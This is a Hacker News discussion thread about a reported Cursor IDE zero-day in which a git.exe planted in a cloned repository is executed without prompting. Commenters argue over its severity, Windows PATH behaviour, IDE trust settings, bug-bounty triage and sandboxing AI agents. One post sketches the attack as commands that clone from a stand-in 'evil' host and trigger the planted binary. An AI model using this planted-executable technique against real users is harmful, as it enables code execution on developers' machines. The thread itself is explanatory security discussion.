Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Cursor 0day: When Full Disclosure Becomes the Only Protection Left

mindgard.ai

Post reply on HN
Print view View original

81–90 of 222 posts

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#81

Post by Firehawke »

x3n0ph3n3 wrote: post #52
Illniyar wrote: post #21

It's pretty weird for cursor to run arbitrary exe file without prompting, and alarming that the researchers did not get a proper response for months. But the example with calculator is a bit misleading I think, you'll have to have a malicious exe already in the system and downloaded, and if cursor tried to run my understanding is that ACL should immediately kick in and you'll be asked for permission to run a new, uns…

Same thing happens if I have a: 1) PS1 that displays the current git branch 2) Include the current directory in my PATH Should we file a high severity CVE with bash now?

Not with bash. If your distro is putting ./ into the path then that's absolutely a high severity CVE with your distro's config.

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#82

Post by inigyou »

jjcm wrote: post #40

I'm not sure I fully agree with this being a major vuln. There's a lot of up front scary text which was raising a lot of red flags until it actually discussed the "what". An actor has to place a malicious .exe in the user's code folder, named git.exe, for this to take place. I see this akin to something like saying "replacing their .bashrc with an alias that says `ls` instead executes `/tmp/mega-big-virus.sh` is a vu…

Cloning a repo owns your computer. Is that something you expected?

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#83

Post by inigyou »

drdexebtjl wrote: post #16
gruez wrote: post #12

Earlier quoted context omitted.

>It seems the most likely candidate is a developer's git started malfunctioning and an agent "fixed" it by dropping a `git.exe` in the repo and then conditionally calling it when it exists. It doesn't need to be that deliberate. The default shell on windows (cmd.exe) includes the current directory into PATH by default. In other words, you don't need to do `./program.exe`, `program.exe` would suffice. That's probably…

Windows doesn’t really have a default login shell like Unix. Windows Terminal defaults to PowerShell which does not suffer from this issue.

Windows has a default login shell which is explorer.exe.

Windows also has a system(const char*) which certainly does something.

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#84

Post by petalmind »

taneq wrote: post #76
shitter wrote: post #42

Earlier quoted context omitted.

The user's code folder? You mean the code I frequently pull from untrusted sources, unlike my .bashrc? Opening a GitHub project for review should not mean arbitrary code execution. Of course, that ship has long sailed, for all major IDEs. Heck, VSCode SSH and devcontainer remotes allow RCE by design.

I’ve never got my head around how it’s apparently the done thing these days to just copy a bash command from a website and run it (sometimes with sudo! O.o ) to install software. I somewhat naively hope that this is because everyone is pushing single purpose VMs for that kind of install, but really I know better.

> to just copy a bash command from a website and run it (sometimes with sudo! O.o ) to install software.

how is that different from the good old days of

    wget ftp://ftp.something.org/software-2.10.tar.gz
    tar zxfv 
    ./configure
    make
    sudo make install

?

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#86

Post by lyu07282 »

jwolfe wrote: post #55
x3n0ph3n3 wrote: post #52

Earlier quoted context omitted.

Same thing happens if I have a: 1) PS1 that displays the current git branch 2) Include the current directory in my PATH Should we file a high severity CVE with bash now?

If bash placed the current directory in your PATH by default, then yes.

Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status
The last line would execute git.exe from the cloned repo, wouldn't it?

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#87

Post by paxys »

_AzMoo wrote: post #66
jjcm wrote: post #40

I'm not sure I fully agree with this being a major vuln. There's a lot of up front scary text which was raising a lot of red flags until it actually discussed the "what". An actor has to place a malicious .exe in the user's code folder, named git.exe, for this to take place. I see this akin to something like saying "replacing their .bashrc with an alias that says `ls` instead executes `/tmp/mega-big-virus.sh` is a vu…

This attack is exactly why IDE's have a concept of trusted and untrusted locations.

That is a very recent addition. The exact behavior they are describing was in VS Code for almost a decade.

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#88

Post by demosthanos »

app13 wrote: post #64
wxw wrote: post #51

> The vulnerability was first identified by Mindgard on December 15, 2025. We reported it the same day and multiple times since. More than six months and 197+ new versions later, the issue remains present in the latest tested version of Cursor. > The report was initially closed as Informative and out of scope. After we challenged that determination, HackerOne reopened the report, reproduced the issue, and confirmed t…

The CVE process itself is broken. HackerOne and company VDPs are inundated with new reports of varying quality thanks to the advancements (I think) in agentic AI. It's allowed for both an increase in trash-tier low quality AND legitimately high quality reports. Since the same AI's are writing both, its almost impossible to distinguish between the two at a surface level. In response, companies just aren't responding l…

As someone on the company response side of the HackerOne brokenness, I can confirm that this effect is real but would also note that the difficulty of distinguishing is not as severe as all that, because the companies have access to the source code which the researchers do not typically have access to.

This means that the token cost of verifying any given HackerOne report is dramatically lower than the token cost of producing a report in the first place. Automated triage systems should be possible, and realistically it's well within the capabilities of most companies to go further and actually automate the Red Team side of it and catch issues before they surface in the black box research. From what I've seen doing so should cost dramatically less in tokens than the bounty payouts do.

The problem is that security is woefully underfunded in most companies, so even an infosec organization that saw the deluge approaching from a distance may well not have had the resources to prep for it even if they knew exactly what actions they would take if they had the capacity.

Re: Cursor 0day: When Full Disclosure Becomes the Only Protection Left

#89

Post by paxys »

gene91 wrote: post #15
ajhenrydev wrote: post #8

This report reads a bit like AI writing :/ You need to have an already malicious payload on your pc to make this exploit work (via clone/download/magic). I can understand the severity of the exploit but at the same time I’d hope to not have to run into this situation for it to happen in the first place

Modern day code agents would clone a repo and read the code when you ask it a question about an API that’s not clearly documented. This vulnerability is real.

This is exactly why every AI agent should run in a sandbox.
Post reply on HN